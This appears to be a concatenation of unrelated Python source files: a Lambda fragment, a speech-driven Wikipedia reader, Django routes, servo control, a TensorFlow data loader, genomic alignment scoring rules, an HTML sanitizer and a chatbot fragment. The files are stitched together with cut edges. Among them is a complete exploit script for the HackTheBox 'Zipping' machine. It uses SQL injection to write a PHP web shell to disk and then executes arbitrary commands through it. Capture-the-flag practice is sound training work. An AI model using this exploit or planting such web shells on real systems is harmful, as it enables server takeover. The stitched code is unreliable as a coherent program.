                TopicArn = arn,
                Message = message
            )

        status_code = 200
        return_body = json.dumps({"data" : array_to_return})

    except Exception as e:
        status_code = 400
        array_to_return.append(['Message:','Error {}'.format(str(e))])
        return_body = json.dumps({"data" : array_to_return})
    return {
        'statusCode': status_code,
        'body': return_body
    }


import re
import pyttsx
import urllib2
from BeautifulSoup import BeautifulSoup
import speech_recognition as sr
r = sr.Recognizer()
engine = pyttsx.init()
engine.setProperty('rate', 200)
def ignore_or_cont():
    while True:
        with sr.Microphone() as source:
            r.adjust_for_ambient_noise(source)
            print("Tell me!")
            aud = r.listen(source)
        try:
            input_user = r.recognize_google(aud)
        except sr.UnknownValueError:
            input_user = "jjjj"
            engine.say("Sorry sir i am not getting you")
            engine.runAndWait()
            print("Google Speech Recognition could not understand audio")
        except sr.RequestError as e:
            input_user = "jjjj"
            print("Sorry sir; {0}".format(e))
        print (input_user)
        if "nope" in input_user or "no" in input_user  or "leave it" in input_user or "not yet" in input_user or "yes" in input_user or "keep it up" in input_user or "go forword" in input_user or "continue" in input_user or "yeah" in input_user:
            return input_user
            break
def find_main_func(data):
    print("main")
    data = data.decode("utf-8")
    soup = BeautifulSoup(data)
    a=soup.findAll('p')
    engine.say("Sir i Found something about "+key)
    engine.runAndWait()
    engine.say("Sir may i continue or leave it")
    engine.runAndWait()
def find_sub_func(data):
    print ("sub")
    a=soup.findAll("ul")
    b=a[0]
    print (a[0])
    engine.say("Sir i Found something about "+key)
    engine.runAndWait()
    engine.say("Sir may i continue or leave it")
    engine.runAndWait()
    for tag in a[13].findAll('li'):
        print(tag.a["href"]+"***"+tag.a.string)
def did_not_found():
    print ("not")
def information_key(key):
    key= key.title()
    ke=re.sub(r"\s+","_",key)
    url="https://en.wikipedia.org/wiki/"
    url = url+ke
    print (url)
    try:
        data = urllib2.urlopen(url).read()[10000:27000]
        print (data)
        find_main_func(data)
    except:
        try:
            data = urllib2.urlopen(url).read()
            find_sub_func(data)
        except:
            data ="akarsh"
            did_not_found()

    #input_user = ignore_or_cont()
    if "nope" in input_user or "no" in input_user  or "leave it" in input_user or "not yet" in input_user:
        engine.say("Ok sir thank you")
        engine.runAndWait()
    elif "yes" in input_user or "keep it up" in input_user or "go forword" in input_user or "continue" in input_user or "yeah" in input_user:
        for tag in a:
            print(tag.text.strip(""))
            engine.say(tag.text.strip(" "))
            engine.runAndWait()
##    else:
##
##
##        data = data.decode("utf-8")
##        soup = BeautifulSoup(data)
##        a=soup.findAll('ul')
##        for tag in a.findAll('li'):
##            print(tag.a["href"]+"***"+tag.a.string)
##        #data = urllib2.urlopen(url).read()
        #data = data.decode("utf-8")
        #soup = BeautifulSoup(data)
        #a=soup.findAll('div',{"class":"searchdidyoumean"})
        #print ("error")
information_key("lalganj")


def topKFrequent(nums, k):
    """ Pythonic method"""
    # dict1 ={}
    # for num in nums:
    #     if num not in dict1:
    #         dict1[num] = 1
    #     else:
    #         dict1[num]+= 1
    # sorted_list = sorted(dict1.items(), key=lambda x:x[1], reverse=True) # this is a tuple with (k,v)
    # return [sorted_list[i][0] for i in range(k)]

    # heap algorithm? - uses heapq and solves the issue we face of sorting the dictionary
    dict1 = {}
    for num in nums:
        if num not in dict1:
            dict1[num] = 1
        else:
            dict1[num] += 1
    import heapq

    return heapq.nlargest(k, dict1.keys(), key=dict1.get)

nums = [1, 1, 2, 2, 3, 3, 3, 1, 1, 2, 2, 2, 3, 1, 1]
k = 2

# nums = [1,2]
# k = 2
print(topKFrequent(nums, k))


"""qalalab_server URL Configuration

The `urlpatterns` list routes URLs to views. For more information please see:
    https://docs.djangoproject.com/en/3.2/topics/http/urls/
Examples:
Function views
    1. Add an import:  from my_app import views
    2. Add a URL to urlpatterns:  path('', views.home, name='home')
Class-based views
    1. Add an import:  from other_app.views import Home
    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')
Including another URLconf
    1. Import the include() function: from django.urls import include, path
    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))
"""
from django.urls import path, include

from blog import views

urlpatterns = [
    path("projects/", views.ProjectListView.as_view()),
    path("projects/<int:pk>/", views.ProjectDetailView.as_view()),
    path("news/", views.NewsListView.as_view()),
    path("news/<int:pk>/", views.NewsDetailView.as_view()),
    path("events/", views.EventListView.as_view()),
    path("events/<int:pk>/", views.EventDetailView.as_view()),
    path("slider1/", views.Slider1View.as_view()),
    path("slider2/", views.Slider2View.as_view()),
    path("slider3/", views.Sldier3View.as_view()),
    path("slider1/<int:pk>/", views.Slider1ViewDetail.as_view()),
    path("slider2/<int:pk>/", views.Slider2ViewDetail.as_view()),
    path("slider3/<int:pk>/", views.Sldier3ViewDetail.as_view()),
]


import PicoRobotics
import utime
from machine import UART, Pin
board = PicoRobotics.KitronikPicoRobotics()
led = Pin(25, Pin.OUT)
led.toggle()
def stopServo(board,servo):

    highByte= 0
    lowByte = 0
    calcServo = board.SRV_REG_BASE + ((servo - 1) * board.REG_OFFSET)
    board.i2c.writeto_mem(board.CHIP_ADDRESS, calcServo,bytes([highByte]))
    board.i2c.writeto_mem(board.CHIP_ADDRESS, calcServo+1,bytes([lowByte]))

def testServo(board,servo,direction):
    calcServo = board.SRV_REG_BASE + ((servo - 1) * board.REG_OFFSET)
    if direction == "f":
        print("Clockwise Turn (forward)")
        for degrees in range(90,0,-1):
            #PWMVal = int((degrees*2.2755)+102) #
            PWMVal = int((degrees*2.2755)+102) # see comment above for maths
            lowByte = PWMVal & 0xFF
            highByte = (PWMVal>>8)&0x01

            board.i2c.writeto_mem(board.CHIP_ADDRESS, calcServo,bytes([lowByte]))
            board.i2c.writeto_mem(board.CHIP_ADDRESS, calcServo+1,bytes([highByte]))
            print("highByte: ", highByte, "lowByte: ", lowByte)
            utime.sleep_ms(50)
    elif direction =="r":
        print("CounterClockwise Turn (backward)")
        for lowByte in range(60,150):
            #PWMVal = int((degrees*2.2755)+102) #
            #lowByte = PWMVal & 0xFF
            highByte = 1
            board.i2c.writeto_mem(board.CHIP_ADDRESS, calcServo,bytes([lowByte]))
            board.i2c.writeto_mem(board.CHIP_ADDRESS, calcServo+1,bytes([highByte]))
            print("highByte: ", highByte, "lowByte: ", lowByte)
            utime.sleep_ms(50)

testServo(board,1,"f")
testServo(board,1,"r")
stopServo(board,1)


import math
import numpy as np
import scipy.io as sio
import tensorflow as tf
import config

class DataItem:
	pass

class DataHandler:
	def __init__(self,istraining,preprocessed):
		self.cfg=config.cfg
		self.istraining=istraining
		if preprocessed:
			self.data = self._load_dataset()
			self._extend_cfg()

	def _load_dataset(self):
			# Load Matlab file dataset annotation
			mlab = sio.loadmat(self.cfg.matfilepath)
			mlab=mlab['data_compiler']
			self.num_images = mlab.shape[1]
			self.data = []

			for i in range(self.num_images):
				sample = mlab[0, i]

				item = DataItem()
				item.image_id = i
				item.im_path = sample[0][0]

				item.positions = sample[1]
				item.scmap = self.compute_scmap(item.positions,[256,256])
				self.data.append(item)

			imgpaths=tf.constant([item.im_path for item in data])
			positions = tf.constant([item.positions for item in data])
			scmaps =tf.constant([item.scmap for item in data])

			###############
			## Setup tf.dataset (Data Feeder)
			###############

			dataset = tf.data.Dataset.from_tensor_slices((imgpaths,positions,scmaps))
			if self.istraining:
				dataset = dataset.map(map_func=self.parse_fn_preprocessed, num_parallel_calls=8)
				dataset = dataset.batch(self.cfg.batchsize)
				dataset = dataset.prefetch(buffer_size=self.cfg.buffersize)
				dataset = dataset.shuffle(self.cfg.buffersize)
				dataset = dataset.repeat()
			else:
				dataset = dataset.map(map_func=self.parse_fn_preprocessed, num_parallel_calls=8)
				dataset = dataset.batch(self.cfg.batchsize)
			return dataset

	def _extend_cfg(self):
		self.cfg.num_batches_per_epoch = math.ceil(self.num_images/self.cfg.batchsize)
		self.cfg.num_steps_per_epoch = self.cfg.num_batches_per_epoch #Because one step is one batch processed
		self.cfg.decay_steps = int(self.cfg.num_epochs_before_decay * self.cfg.num_steps_per_epoch)

	def makedataset(self,img,coords):
		dataset = tf.data.Dataset.from_tensor_slices({'img':img, "coords":coords})
		#returns cutout images
		dataset = dataset.map(self.parse_fn_notprocessed)
		dataset = dataset.batch(self.cfg.batchsize)
		return dataset

	def parse_fn_preprocessed(self, imgpath, positions, scmap):
		# Process image
		filename=imgpath
		image_string = tf.read_file(filename)
		image_decoded = tf.image.decode_png(image_string)
		img_float = tf.cast(image_decoded,tf.float32)
		avg=tf.constant([[[123.68, 116.779, 103.939]]])
		img=img_float-avg
		return img, positions, scmap

	def compute_scmap(self,label,img_shape):
		depth = 2000
		scmap=np.zeros([img_shape[0],img_shape[1],depth])
		for bug in label:
			x,y,z=np.meshgrid(np.linspace(-(bug[0]-1),img_shape[0]-(bug[0]-1),img_shape[0]),
							  np.linspace(-(bug[1]-1),img_shape[1]-(bug[1]-1),img_shape[1]),
							  np.linspace(-(bug[2]-1),depth-(bug[0]-1),depth))
			rad_sq=x**2+y**2+z**2
			dist_thresh_sq=self.cfg.pos_thres**2
			bugscmap=(1.0/dist_thresh_sq)*(dist_thresh_sq-rad_sq)
			radmask=rad_sq>dist_thresh_sq
			scmapmask=scmap>0.1
			bugscmap[radmask]=0
			bugscmap[scmapmask]=0
			scmap+=bugscmap
		return scmap


import statistics
from abc import ABC, abstractmethod
from collections import Counter
from functools import lru_cache
from unittest import result

from loguru import logger

class RuleFactory:
    """
    Class to create all `ClassificationRule`'s that can be applied to Alignment groups
    """

    def all_subclasses(self, cls):
        """
        Recursive function to get nested inheritance classes, usefull for when rules inherrit each other
        """
        return set(cls.__subclasses__()).union(
            [s for c in cls.__subclasses__() for s in self.all_subclasses(c)]
        )

    def get_rules(self):
        """Get all rules that are applicable."""
        rules = [x() for x in self.all_subclasses(ClassificationRule) if x.applicable]
        return rules

class ClassificationRule(ABC):
    """
    rules used for classification,
    Checks are 1 or 0
    Calculates are a range between 1 an 0

    lru cache is used for speed since every classification calls rules.
    Rules that are applicable will the used executed by the factory.
    """

    @abstractmethod
    def score(self, group) -> int:
        pass

    @property
    def name(self) -> str:
        return self.__class__.__name__

    def __repr__(self) -> str:
        return f"instance of Rule {self.name}"

    @property
    @abstractmethod
    def applicable(self) -> bool:
        pass

class CheckEqualStartLocations(ClassificationRule):
    """
    Check if all alignment (without the first and last) start locations are within margin of the median, looks per chromosome.
    """

    applicable = True

    def __init__(self, margin: int = 150):
        logger.debug(f"Rule {self.__class__.__name__} created, margin: {margin}")
        self.margin = margin

    @lru_cache(maxsize=1)
    def score(self, group):
        result = 1
        # if there is only one, we already know the awnser
        if len(group) < 2:
            return result

        # remove the first and last alignment, since these are more effected by cuts than actual differences
        # TODO: handle this smarter
        alignments = group.alignments.copy()
        alignments.pop(0)
        alignments.pop(-1)

        if len(alignments) <= 1:
            return 0
        #  set compresension, since we only need every chromosome once

        chromosomes_observed = {
            (x.alignment_chromosome, x.alignment_direction) for x in alignments
        }

        for chromosome_direction in chromosomes_observed:
            chromosome = chromosome_direction[0]
            direction = chromosome_direction[1]
            relevant_reads = [
                x for x in alignments if x.alignment_chromosome == chromosome
            ]
            relevant_reads = [
                x for x in relevant_reads if x.alignment_direction == direction
            ]

            positions = [x.alignment_chromosome_start for x in relevant_reads]
            median = statistics.median(positions)
            within_margin = [
                median - self.margin <= x <= median + self.margin for x in positions
            ]
            if not all(within_margin):
                result = 0

        logger.debug(f"Rule {self.__class__.__name__} is scored at {result}")
        return result

class CalculateRelativeChromosomalAbundance(ClassificationRule):
    """
    Calculate the fraction that aligns to the most occuring (directional) chromosome
    """

    applicable = True

    def __init__(self):
        logger.debug(f"Rule {self.__class__.__name__}")

    @lru_cache(maxsize=1)
    def score(self, group):
        directional_chromosomes = [
            f"{x.alignment_chromosome}_{x.alignment_direction}"
            for x in group.alignments
        ]
        if len(set(directional_chromosomes)) == 1:
            result = 1
        else:
            # calculate the relative occurance of the most common chromosome
            directional_chromosome_count = Counter(directional_chromosomes)
            total = sum(directional_chromosome_count.values())
            most_common_count = directional_chromosome_count.most_common(1)[0][1]

            result = most_common_count / total

        logger.debug(f"Rule {self.__class__.__name__} is scored at {result}")
        if result > 1:
            logger.critical("{self.__class__.__name__} Over 1!")
        return result

class CalculateAlternatingChromosomeRatio(ClassificationRule):
    """
    Calculate the amount of locations where the previous and next chromosome are the same, whilst not the same as the current chromosome
    """

    applicable = True

    def __init__(self, margin: int = 10):
        logger.debug(f"Rule {self.__class__.__name__} created, margin: {margin}")

    @lru_cache(maxsize=1)
    def score(self, group):
        alignments = group.alignments
        if len(group) <= 2:
            logger.debug("skipping alternation, group to short")
            return 0

        alternation_events = 0
        for i, aln in enumerate(alignments):
            # skip first and last
            if i == 0 or i == len(group) - 1:
                continue
            previous = f"{alignments[i-1].alignment_chromosome}_{alignments[i-1].alignment_direction}"
            current = f"{alignments[i].alignment_chromosome}_{alignments[i].alignment_direction}"
            following = f"{alignments[i+1].alignment_chromosome}_{alignments[i+1].alignment_direction}"
            if previous == following and previous != current:
                alternation_events += 1
        #  calculate the fraction, substraction since we cannot check position 1 and last.
        result = alternation_events / (len(group) - 2)
        if result > 1:
            logger.critical("{self.__class__.__name__} Over 1!")
        return result

class CheckNDirectionalChromosomesPresent(ClassificationRule):
    """
    Check if there are `directional_chromosomes` each occuring at least `minimum_occurrence` times within the alignment group.
    """

    applicable = False

    def __init__(self, directional_chromosomes=1, minimum_occurrence: int = 2):
        self.minimum_occurrence = minimum_occurrence
        self.directional_chromosomes = directional_chromosomes
        logger.debug(
            f"Rule {self.__class__.__name__} created, minimum_occurrence: {minimum_occurrence}"
        )

    @lru_cache(maxsize=1)
    def score(self, group):
        alignments = group.alignments
        result = 1
        chroms = [
            f"{x.alignment_chromosome}_{x.alignment_direction}" for x in alignments
        ]
        counts = Counter(chroms)
        # Filter on min occurrence
        counts = {k: v for k, v in counts.items() if v >= self.minimum_occurrence}

        if len(counts.keys()) == self.directional_chromosomes:
            result = 1
        else:
            result = 0
        return result

class Check1DirectionalChromosomesPresent(CheckNDirectionalChromosomesPresent):
    applicable = True

    def __init__(self) -> None:
        super().__init__(directional_chromosomes=1)

    def score(self, group):
        super_score = super().score(group)
        return super_score

class Check2DirectionalChromosomesPresent(CheckNDirectionalChromosomesPresent):
    applicable = True

    def __init__(self) -> None:
        super().__init__(directional_chromosomes=2)

    def score(self, group):
        super_score = super().score(group)
        return super_score

class Check3DirectionalChromosomesPresent(CheckNDirectionalChromosomesPresent):
    applicable = True

    def __init__(self) -> None:
        super().__init__(directional_chromosomes=3)

    def score(self, group):
        super_score = super().score(group)
        return super_score

class Check4DirectionalChromosomesPresent(CheckNDirectionalChromosomesPresent):
    applicable = True

    def __init__(self) -> None:
        super().__init__(directional_chromosomes=4)

    def score(self, group):
        super_score = super().score(group)
        return super_score

class CheckNChromosomesPresent(ClassificationRule):
    """
    Check if there are two chromosomes within the alignment group.
    """

    applicable = False

    def __init__(self, chromosome_count=2, minimum_occurrence: int = 1):
        self.minimum_occurrence = minimum_occurrence
        self.chromosome_count = chromosome_count
        logger.debug(
            f"Rule {self.__class__.__name__} created, minimum_occurrence: {minimum_occurrence}"
        )

    @lru_cache(maxsize=1)
    def score(self, group):
        alignments = group.alignments
        result = 1
        chroms = [x.alignment_chromosome for x in alignments]
        counts = Counter(chroms)
        # Filter on min occurrence
        counts = {k: v for k, v in counts.items() if v >= self.minimum_occurrence}
        if len(counts.keys()) == self.chromosome_count:
            result = 1
        else:
            result = 0
        return result

class Check1ChromosomesPresent(CheckNChromosomesPresent):
    """
    Check if there is one chromosome in the alignments
    """

    applicable = True

    def __init__(self) -> None:
        super().__init__(chromosome_count=1)

class Check2ChromosomesPresent(CheckNChromosomesPresent):
    """
    Check if there is one chromosome in the alignments
    """

    applicable = True

    def __init__(self) -> None:
        super().__init__(chromosome_count=2)

class Check3ChromosomesPresent(CheckNChromosomesPresent):
    """
    Check if there is one chromosome in the alignments
    """

    applicable = True

    def __init__(self) -> None:
        super().__init__(chromosome_count=3)

class Check4ChromosomesPresent(CheckNChromosomesPresent):
    """
    Check if there is one chromosome in the alignments
    """

    applicable = True

    def __init__(self) -> None:
        super().__init__(chromosome_count=4)

class CheckMinimumCountAlignments(ClassificationRule):
    """
    Check if there at least `minimum` alignments in the group. return 1 if this is true
    """

    applicable = True

    def __init__(self, minimum: int = 4):
        self.minimum = minimum
        logger.debug(f"Rule {self.__class__.__name__} created, margin: {minimum}")

    @property
    def name(self):
        return f"{self.__class__.__name__}_{self.minimum}"

    @lru_cache(maxsize=1)
    def score(self, group):
        result = 1
        if len(group) < self.minimum:
            result = 0
        logger.debug(f"Rule {self.__class__.__name__} is scored at {result}")
        return result

class CheckMaximumCountAlignments(ClassificationRule):
    """
    Check if there at most `maximum` alignments in the group. return 1 if this is true
    """

    applicable = True

    def __init__(self, maximum: int = 10):
        self.maximum = maximum
        logger.debug(f"Rule {self.__class__.__name__} created, margin: {maximum}")

    @property
    def name(self):
        return f"{self.__class__.__name__}_{self.maximum}"

    @lru_cache(maxsize=1)
    def score(self, group):
        result = 1
        if len(group) >= self.maximum:
            result = 0
        logger.debug(f"Rule {self.__class__.__name__} is scored at {result}")
        return result

class CalculateContiguousStartPositions(ClassificationRule):
    """
    Check that all start positions follow each other up with at maximum `margin` space between them.
    This uses the length to determine the next expected start site.
    """

    applicable = True

    def __init__(self, margin: int = 50):
        self.margin = margin
        logger.debug(f"Rule {self.__class__.__name__} created, margin: {margin}")

    @lru_cache(maxsize=1)
    def score(self, group):
        if len(group) < 2:
            return 0

        contiguous_events = 0
        expected_start = group.alignments[0].first_cigar_value
        for x in group.alignments:
            start = x.first_cigar_value
            # check if within margin
            if start < expected_start - self.margin:
                pass
            elif start > expected_start + self.margin:
                pass
            else:
                contiguous_events += 1
            # set params for next loop
            end = start + x.alignment_length
            expected_start = end

        result = contiguous_events / (len(group))
        logger.debug(f"Rule {self.__class__.__name__} is scored at {result}")
        if result > 1:
            logger.critical("{self.__class__.__name__} Over 1!")
        return result

class Check1BackBoneInAlignments(ClassificationRule):
    """
    Check if there is any mapping against a referent where the name starts with `BB`.

    """

    applicable = True

    def __init__(self):
        logger.debug(f"Rule {self.__class__.__name__} created")

    @lru_cache(maxsize=1)
    def score(self, group):
        backbone_in_chromosome = [
            x.startswith("BB")
            for x in group.alignment_chromosomes_present(directional=False)
        ]
        if sum(backbone_in_chromosome) == 1:
            result = 1
        else:
            result = 0
        logger.debug(f"Rule {self.__class__.__name__} is scored at {result}")
        return result

class CheckAllBackBoneInAlignments(ClassificationRule):
    """
    Check if there is any mapping against a referent where the name starts with `BB`.

    """

    applicable = True

    def __init__(self):
        logger.debug(f"Rule {self.__class__.__name__} created")

    @lru_cache(maxsize=1)
    def score(self, group):
        backbone_in_chromosome = [
            x.alignment_chromosome.startswith("BB") for x in group.alignments
        ]
        if all(backbone_in_chromosome):
            result = 1
        else:
            result = 0
        logger.debug(f"Rule {self.__class__.__name__} is scored at {result}")
        return result

class CheckTwoStartLocations(ClassificationRule):
    """Check if we have starting positions that are at least `minimum distance` apart in a single chromosome."""

    applicable = True

    def __init__(self, minimum_distance=1000):
        logger.debug(f"Rule {self.__class__.__name__} created")
        self.minimum_distance = minimum_distance

    def score(self, group):
        alignments = group.alignments
        #  set compresension, since we only need every chromosome once
        chromosomes_observed = {
            (x.alignment_chromosome, x.alignment_direction) for x in alignments
        }
        result = 0

        for chromosome_direction in chromosomes_observed:
            chromosome = chromosome_direction[0]
            direction = chromosome_direction[1]
            relevant_reads = [
                x for x in alignments if x.alignment_chromosome == chromosome
            ]
            relevant_reads = [
                x for x in relevant_reads if x.alignment_direction == direction
            ]

            positions = [x.alignment_chromosome_start for x in relevant_reads]
            pos_min, pos_max = min(positions), max(positions)

            if pos_max - pos_min > self.minimum_distance:
                result = 1

        return result

class CheckTwoStartLocationsByOwnLength(ClassificationRule):
    """Check if we have starting positions that are at least `minimum distance` apart in a single chromosome."""

    applicable = True

    def __init__(self, minimum_distance=1000):
        logger.debug(f"Rule {self.__class__.__name__} created")
        self.minimum_distance = minimum_distance

    def score(self, group):
        alignments = group.alignments
        #  set compresension, since we only need every chromosome once
        chromosomes_observed = {
            (x.alignment_chromosome, x.alignment_direction) for x in alignments
        }
        result = 0

        for chromosome_direction in chromosomes_observed:
            chromosome = chromosome_direction[0]
            direction = chromosome_direction[1]
            relevant_reads = [
                x for x in alignments if x.alignment_chromosome == chromosome
            ]
            relevant_reads = [
                x for x in relevant_reads if x.alignment_direction == direction
            ]
            mean_length = statistics.mean([x.alignment_length for x in relevant_reads])

            positions = [x.alignment_chromosome_start for x in relevant_reads]
            pos_min, pos_max = min(positions), max(positions)

            if pos_max - pos_min > mean_length:
                result = 1

        return result

class CalculateTripletChromosomes(ClassificationRule):
    """
    Check if the pattern corresponds with a Triplicate (eg Babo-Babo-Ins or Babo-Ins-Ins)

    So let say we have:
    BBIBBIBBI
    123456789

    1: skip
    2: case 1
    3: case 3
    4: case 2
    5: case 1
    6: case 3
    """

    applicable = True

    def score(self, group):
        alignments = group.alignments

        if len(group) <= 2:
            logger.debug(f"skipping {self.__class__.__name__}, group to short")
            return 0

        alternation_events = 0
        for i, aln in enumerate(alignments):
            # skip first and last
            if i == 0 or i == len(group) - 1:
                continue
            previous = f"{alignments[i-1].alignment_chromosome}_{alignments[i-1].alignment_direction}"
            current = f"{alignments[i].alignment_chromosome}_{alignments[i].alignment_direction}"
            following = f"{alignments[i+1].alignment_chromosome}_{alignments[i+1].alignment_direction}"
            try:
                following_two = f"{alignments[i+1].alignment_chromosome}_{alignments[i+2].alignment_direction}"
            except IndexError:
                following_two = None

            if previous == current and previous != following:
                # case 1
                alternation_events += 1
            elif following == current and previous != following:
                # case 2
                alternation_events += 1

            elif following_two:
                if current != following and following == following_two:
                    # case 3
                    alternation_events += 1

        result = alternation_events / (len(group) - 2)
        #  calculate the fraction, substraction since we cannot check position 1 and last.
        if result > 1:
            logger.critical("{self.__class__.__name__} Over 1!")
        return result

# class CalculateRelativeStartPositions(ClassificationRule):
#     """
#     Calculate the uniformaty of the starting positions, to make more fine grained decisions
#     """

#   applicable = True

#     def __init__(self, margin: int = 10):
#         self.margin = margin
#         logger.debug(f"Rule {self.__class__.__name__} created, margin: {margin}")
#         raise NotImplementedError

#     @lru_cache(maxsize=1)
#     def score(self, group):
#         pass

# class CheckNoAlignmentOverlaps(ClassificationRule):
#     """
#     Check that the Alignments do not overlap each other. overlaps less than `margin` are allowed.
#     """

#   applicable = True

#     def __init__(self, margin: int = 10):
#         logger.debug(f"Rule {self.__class__.__name__} created, margin: {margin}")

#     @lru_cache(maxsize=1)
#     def score(self, group):
#         logger.debug(f"Rule {self.__class__.__name__} is scored at {result}")
#         raise NotImplementedError
#         return 1

class CheckMinimumUnalignedGap(ClassificationRule):
    """
    Check if the minimum unaligned gap between segments is smaller than the target value
    """

    applicable = True

    def __init__(self, target_value: int = 30):
        logger.debug(
            f"Rule {self.__class__.__name__} created, target_value: {target_value}"
        )
        self.target_value = target_value

    @lru_cache(maxsize=1)
    def score(self, group):
        # result = 1 if group.find_median_unaligned_region() > self.target_value else 0
        # get all gaps between segments (start and end might be hard to align)
        inter_segment_gaps = group.find_unaligned_regions()[1:-1]
        if len(inter_segment_gaps) > 0:
            minimum_segment_gap = min(inter_segment_gaps)
        else:
            minimum_segment_gap = 0
        if minimum_segment_gap < self.target_value:
            result = 1
        else:
            result = 0
        logger.debug(f"Rule {self.__class__.__name__} is scored at {result}")
        return result

class CalculateSegmentCountPercentageTenSegments(ClassificationRule):
    """
    Check that the Alignments do not overlap each other. overlaps less than `margin` are allowed.
    """

    applicable = True

    def __init__(self, segments: int = 10):
        self.segments = segments
        logger.debug(f"Rule {self.__class__.__name__} created, segments: {segments}")

    @lru_cache(maxsize=1)
    def score(self, group):
        if len(group) >= self.segments:
            result = 1
        else:
            result = len(group) / self.segments
        return result


# Code (slightly) adapted from: http://stackoverflow.com/questions/699468/python-html-sanitizer-scrubber-filter/699483#699483
from BeautifulSoup import BeautifulSoup, NavigableString

acceptable_elements = ['a', 'abbr', 'acronym', 'address', 'area', 'b', 'big',
      'blockquote', 'br', 'button', 'caption', 'center', 'cite', 'code', 'col',
      'colgroup', 'dd', 'del', 'dfn', 'dir', 'div', 'dl', 'dt', 'em',
      'font', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'hr', 'i', 'img',
      'ins', 'kbd', 'label', 'legend', 'li', 'map', 'menu', 'ol',
      'p', 'pre', 'q', 's', 'samp', 'small', 'span', 'strike',
      'strong', 'sub', 'sup', 'table', 'tbody', 'td', 'tfoot', 'th',
      'thead', 'tr', 'tt', 'u', 'ul', 'var']

acceptable_attributes = ['abbr', 'accept', 'accept-charset', 'accesskey',
  'action', 'align', 'alt', 'axis', 'border', 'cellpadding', 'cellspacing',
  'char', 'charoff', 'charset', 'checked', 'cite', 'clear', 'cols',
  'colspan', 'color', 'compact', 'coords', 'datetime', 'dir',
  'enctype', 'for', 'headers', 'height', 'href', 'hreflang', 'hspace',
  'id', 'ismap', 'label', 'lang', 'longdesc', 'maxlength', 'method',
  'multiple', 'name', 'nohref', 'noshade', 'nowrap', 'prompt',
  'rel', 'rev', 'rows', 'rowspan', 'rules', 'scope', 'shape', 'size',
  'span', 'src', 'start', 'style', 'summary', 'tabindex', 'target', 'title', 'type',
  'usemap', 'valign', 'value', 'vspace', 'width']

def cleanup(soup, ok_elts, ok_attrs):
    for tag in soup:
        if not isinstance(tag, NavigableString):
            if tag.name not in ok_elts:
                tag.extract()
            else:
                for attr in tag._getAttrMap().keys():
                    if attr not in ok_attrs:
                        del tag[attr]
                cleanup(tag, ok_elts, ok_attrs)

def clean_html(fragment, ok_elts=acceptable_elements, ok_attrs=acceptable_attributes):
    soup = BeautifulSoup(fragment.strip())
    cleanup(soup, ok_elts, ok_attrs)
    return unicode(soup)


#!/usr/bin/env python3

'''
HTB Zipping (RCE by SQLi)
-----------------
Description: SQL inyection when adding a product to cart
Author: Marss
Repository: https://github.com/E1P0TR0
Date: 13 Sep, 2023
'''

from argparse import ArgumentParser, RawDescriptionHelpFormatter
from random import choices
from requests import Session
from requests.exceptions import ConnectionError, ConnectTimeout
from signal import signal, SIGINT
from string import ascii_letters
from sys import argv
from urllib.parse import urlencode

# Ctrl + c
signal(SIGINT, lambda signum, frame: exit('\n[!] User aborted.'))

# Main class
class Exploit:

    get_rand_str = lambda self, length: ''.join(choices(ascii_letters, k=length))

    def __init__(self, args):

        self.args = args
        self.target = {'base_url':'http://10.10.11.229'}
        self.temp_file = self.get_rand_str(5)
        # Session
        self.session = Session()

    def run(self):

        if self.target_response():

            self.send_query()

    def send_query(self):

        try:
            backdoor_path = "/var/lib/mysql"
            payload = f"%0a';select '<?php system($_GET[\"cmd\"]); ?>' into outfile '/{backdoor_path}/{self.temp_file}.php'#1"

            headers = {'Content-Type':'application/x-www-form-urlencoded'}
            post_data = {
                'quantity':1,
                'product_id': payload # vulnerable parameter
            }
            post_data_enc = urlencode(post_data, safe='%') # %0a bypass (newline)

            response = self.session.post(
                self.target['base_url'] + '/shop/index.php?page=cart',
                headers=headers,
                data=post_data_enc,
                allow_redirects=False)

            if not response.status_code == 302:
                exit('\n[x] Backdoor failed.')

            response = self.session.get(
                self.target['base_url'] + f'/shop/index.php',
                params=f'page={backdoor_path}/{self.temp_file}&cmd={args.command}')

            print(f'\n{response.text}')

        except Exception as error:
            exit('\n[x] Error: ' + repr(error))

    def target_response(self):

        try:
            response = self.session.get(self.target['base_url'] + '/shop', timeout=5)

            if response.ok:
                print(f'\n[+] Target up: {response.url}')

            return response.ok

        except ConnectTimeout:
            exit('\n[!] Verify VPN connection')
        except ConnectionError:
            exit('[!] Check the machine connection')

# Main flow
if __name__ == '__main__':

    title = '\n| HTB Zipping (RCE by SQLi) |'

    parser = ArgumentParser(
        formatter_class=RawDescriptionHelpFormatter,
        epilog=f'''Example:
        python3 {argv[0]} -c "<command>"
        ''')

    parser.add_argument('-c', '--command', type=str, required=True, help='Command to execute')

    args =parser.parse_args()

    print(title)

    exploit = Exploit(args)
    exploit.run()


from json import load
from numpy import array, dot, asarray, exp
from nltk import word_tokenize
from nltk.stem.lancaster import LancasterStemmer

stemmer = LancasterStemmer()

# 'remainder', 'question', 'status', 'collage'
classes = ['remainder', 'question', 'status', 'collage']
words = ['had', "'", 'in', 'for', 'me', 'dat', 'i', 'stat', 'ar', 'which', 'ev', 'holiday', 'that', 'grad', 'it', 'we', 'plac', 'al', 'tel', 'string', 'syllab', 'a', 'is', 'when', 'my', 'of', 'hap', 'subject', 'cgpa', 'cur', 'weath', "'s", 'what', 'int', 'on', 'visit', 'company', 'sem', 'do', 'formul', "'int", 'thi', 's', 'today', 'the', 'remaind', 'hav', 'mark', 'wil', '’', 'set', 'did']
# compute sigmoid nonlinearity
def sigmoid(x):
    output = 1/(1+exp(-x))
    return output

# convert output of sigmoid function to its derivative
def sigmoid_output_to_derivative(output):
    return output*(1-output)

def clean_up_sentence(sentence):
    # tokenize the pattern
    sentence_words = word_tokenize(sentence)
    # stem each word
    sentence_words = [stemmer.stem(word.lower()) for word in sentence_words]
    return sentence_words

# return bag of words array: 0 or 1 for each word in the bag that exists in the sentence
def bow(sentence, words, show_details=False):
    # tokenize the pattern
    sentence_words = clean_up_sentence(sentence)
    # bag of words
    bag = [0]*len(words)
    for s in sentence_words:
        for i,w in enumerate(words):
            if w == s:
                bag[i] = 1
                if show_details:
                    print ("found in bag: %s" % w)

    return(array(bag))

def think(sentence, show_details=False):
    x = bow(sentence.lower(), words, show_details)
    if show_details:
        print ("sentence:", sentence, "\n bow:", x)
    # input layer is our bag of words
    l0 = x
    # matrix multiplication of input and hidden layer
    l1 = sigmoid(dot(l0, synapse_0))
    # output layer
    l2 = sigmoid(dot(l1, synapse_1))
